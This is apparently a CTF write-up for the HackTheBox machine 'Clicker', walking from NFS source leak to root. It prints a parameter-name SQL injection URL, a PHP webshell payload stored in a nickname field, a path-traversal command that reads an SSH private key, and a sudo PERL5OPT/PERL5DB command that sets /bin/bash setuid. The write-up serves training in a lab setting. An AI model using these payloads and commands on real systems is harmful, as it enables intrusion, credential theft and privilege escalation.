HTB: Clicker Writeup
Clicker - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Clicker |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | clicker.htb |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Clicker is a Medium Linux box built around a PHP “clicker game” web application. A public NFS export leaks the full application source, revealing a parameter-name SQL injection in the profile-save endpoint that lets any registered player escalate their own role to Admin. From there, an unrestricted file-extension export feature is abused to turn a poisoned nickname field into an executable PHP webshell, landing code execution as www-data. A non-default SUID binary on the box reads query files from a fixed user’s home directory without validating the action argument, and a path-traversal on that argument leaks an SSH private key. Once on the box as that user, a NOPASSWD sudo rule on a monitoring script — which shells out to a Perl-based XML pretty-printer — is abused via the classic PERL5OPT/PERL5DB environment-variable trick to gain a root shell.
TL;DR: NFS export leaks source → parameter-pollution SQLi in save_game.php escalates role to Admin → nickname poisoned with a PHP payload → admin export feature abused with extension=php → RCE as www-data → SUID execute_query path traversal leaks jack’s SSH key → user.txt → jack’s NOPASSWD sudo on /opt/monitor.sh (which calls Perl’s xml_pp) abused via PERL5OPT/PERL5DB to chmod u+s /bin/bash → root.txt.
Reconnaissance
Port Scanning
Standard full-port sweep followed by service/version scan:
nmap -sC -sV -T4 -p- clicker.htbResults: Ports 22 (SSH), 80 (HTTP), 111 (rpcbind), and 2049 (NFS) were up. The box needed roughly a minute to fully boot before all services responded.
Service Enumeration
NFS stood out immediately as an unauthenticated-by-default protocol worth checking for exports:
showmount -e clicker.htbThis revealed a public export, /mnt/backups, mountable by anyone with no credentials.
Vulnerability Assessment
- World-readable NFS export exposing what turned out to be a full application source backup (
clicker.htb_backup.zip). - Working from the jump box hit an environment snag:
/tmpwas 100% full, so the mount/copy operations were done out of/dev/shminstead, andsudo ddwas used to pull the backup file off the NFS mount rather than a plaincp. - Extracting the zip gave the complete PHP source tree for the running web app (
play.php,save_game.php,db_utils.php,export.php, etc.), turning this into a source-available code review rather than blind black-box testing.
Initial Foothold
Exploitation Path
1. Parameter-name SQL injection in save_game.php
Reviewing db_utils.php’s save_profile function showed that while the values passed to save_game.php are safely wrapped with PDO::quote(), the GET parameter names are concatenated directly into the UPDATE ... SET clause with no sanitization:
// db_utils.php (from the leaked source)foreach ($args as $key => $value) { $setStr .= $key . "=" . $pdo->quote($value) . ",";}Because $key (the parameter name) is never quoted or validated, injecting an = (URL-encoded as %3d) into a parameter name lets an attacker splice an entirely new column=value assignment into the SET clause. This was used to promote the current player to Admin:
/save_game.php?clicks%3d0,role%3d'Admin',clicks=0&level=0Re-authenticating afterward surfaced the Administration panel, confirming the role had actually changed server-side — this is a classic second-order/parameter-pollution SQLi, distinct from a value-based injection, and code review was the only realistic way to spot it since the rendered HTML gives no hint the parameter names are trusted input.
2. Nickname-as-payload → PHP webshell via the export feature
The admin panel’s Export feature writes a file under exports/ named after the request, and the extension is taken from a client-controlled extension parameter with no server-side allow-list. Since save_game.php’s injection also lets an authenticated player set arbitrary profile fields (not just role), the nickname field was set to a small PHP payload — PDO::quote() conveniently handles the quoting/escaping for free since it’s just being stored as a string value in the database:
/save_game.php?clicks=0&level=0&nickname=<?php system($_REQUEST['cmd']);?>Triggering the export with extension=php and threshold=0 (so every player, including the attacker, qualifies for the “top players” table) produced a file such as exports/top_players_<id>.php containing the poisoned nickname verbatim — i.e., live PHP.
3. RCE as www-data
Hitting the generated export file with a cmd parameter executed arbitrary shell commands on the server:
/exports/top_players_<id>.php?cmd=idconfirming code execution as www-data.
Privilege Escalation
www-data → jack (SUID path traversal)
Enumerating for privilege-escalation vectors as www-data turned up a non-standard SUID binary:
find / -perm -u=s -type f 2>/dev/null# ...This binary is designed to run a small set of numbered maintenance actions (create schema, seed fake players, reset admin password, purge users) by reading .sql query files out of jack’s home directory, then executing them as MySQL. Critically, it takes the action number as argv[1] and does not validate an unrecognized action or the resulting file path, meaning a bogus action plus a relative path in the second argument is passed straight through to a file-read:
/opt/manage/execute_query 6 ../.ssh/id_rsaBecause the binary is SUID and legitimately allowed to read inside /home/jack/, this path traversal leaked jack’s private key. The key came back HTML-mangled in the shell output (including a shortened trailing base64 line), and had to be reconstructed into a valid PEM before use — after fixing that up:
chmod 600 jack_id_rsassh -i jack_id_rsa jack@clicker.htbThis granted a shell as jack, yielding user.txt.
jack → root (sudo NOPASSWD + Perl debugger env-var abuse)
Checking jack’s sudo rights:
sudo -lThe SETENV tag is the key detail — it means jack can pass arbitrary environment variables through to the script when it runs as root via sudo, not just execute it. /opt/monitor.sh internally shells out to xml_pp, which is a Perl script, to pretty-print an XML diagnostic blob. The script does defensively unset PERLLIB and unset PERL5LIB, but that only blocks the module-path injection vector — it does nothing about PERL5OPT and PERL5DB, which the Perl interpreter honors to enable the built-in debugger and execute arbitrary code at startup:
sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.shbash -pPERL5OPT=-d forces Perl to launch under the debugger, and PERL5DB supplies Perl code that the debugger evaluates as its init routine — here, chmod u+s /bin/bash, executed with root’s privileges the moment xml_pp starts. Running bash -p afterward drops into a shell that preserves the newly-set setuid bit, giving an effective-root shell and root.txt.
Attack Chain Summary
Public NFS export (/mnt/backups) → leaked application source → parameter-name SQLi in save_game.php → self-promote to Admin → poison nickname field with PHP payload via same SQLi → admin Export feature (unchecked extension=php) → PHP webshell on disk → RCE as www-data → SUID /opt/manage/execute_query path traversal → leak jack's id_rsa → SSH as jack → user.txt → sudo SETENV NOPASSWD on /opt/monitor.sh (calls Perl xml_pp) → PERL5OPT=-d / PERL5DB env-var abuse → chmod u+s /bin/bash → bash -p → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
showmount | Enumerate NFS exports |
mount / sudo dd | Mount NFS share and copy backup off it (jump-box /tmp was full, worked from /dev/shm) |
unzip | Extract leaked source backup |
| Manual code review | Spot the parameter-name SQLi in db_utils.php |
| Browser / curl (URL-encoded requests) | Drive the SQLi, poison nickname, trigger export |
strace / strings (implied by binary behavior) | Understand execute_query’s file-read behavior |
ssh | Access as jack with recovered key |
sudo -l | Enumerate privilege escalation vector |
Perl debugger env-var trick (PERL5OPT/PERL5DB) | Root shell via SETENV sudo rule |
Key Learnings
Techniques Practiced
- Mounting and looting a public NFS export for source code
- Spotting parameter-name (as opposed to parameter-value) SQL injection from code review
- Chaining a stored-injection primitive into a second-stage RCE via an unchecked file-export feature
- Exploiting a SUID binary’s implicit trust in a fixed file path via argument-driven path traversal
- Abusing sudo’s
SETENVtag combined with Perl’sPERL5OPT/PERL5DBenvironment variables to bypass an incomplete env-sanitization defense
Lessons Learned
- Sanitizing values in a dynamically-built SQL query is not enough if the keys/column names are also attacker-influenced — both need strict allow-listing.
- File export/upload features that let a client choose the output extension are effectively arbitrary-file-write-to-RCE if the content is even partially attacker-controlled.
- A SUID binary that reads “trusted” files by relative path is only as safe as its path validation — an unhandled action branch reachable with a bogus argument was enough to turn it into an arbitrary-file-read primitive.
- Defensive
unsetofPERLLIB/PERL5LIBbefore invoking a Perl helper is incomplete:PERL5OPTandPERL5DBare a separate, still-live code-execution vector, andsudo’sSETENVtag is what makes passing them through possible in the first place.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Clicker — Official HackTheBox Writeup by amra (Document No D24.100.264, machine author: Nooneye) — used to confirm the SQLi mechanics in
save_profile/db_utils.php, the export-extension abuse, and as the source for the alternative Perl-debugger (PERL5OPT/PERL5DB) root path taken in this solve.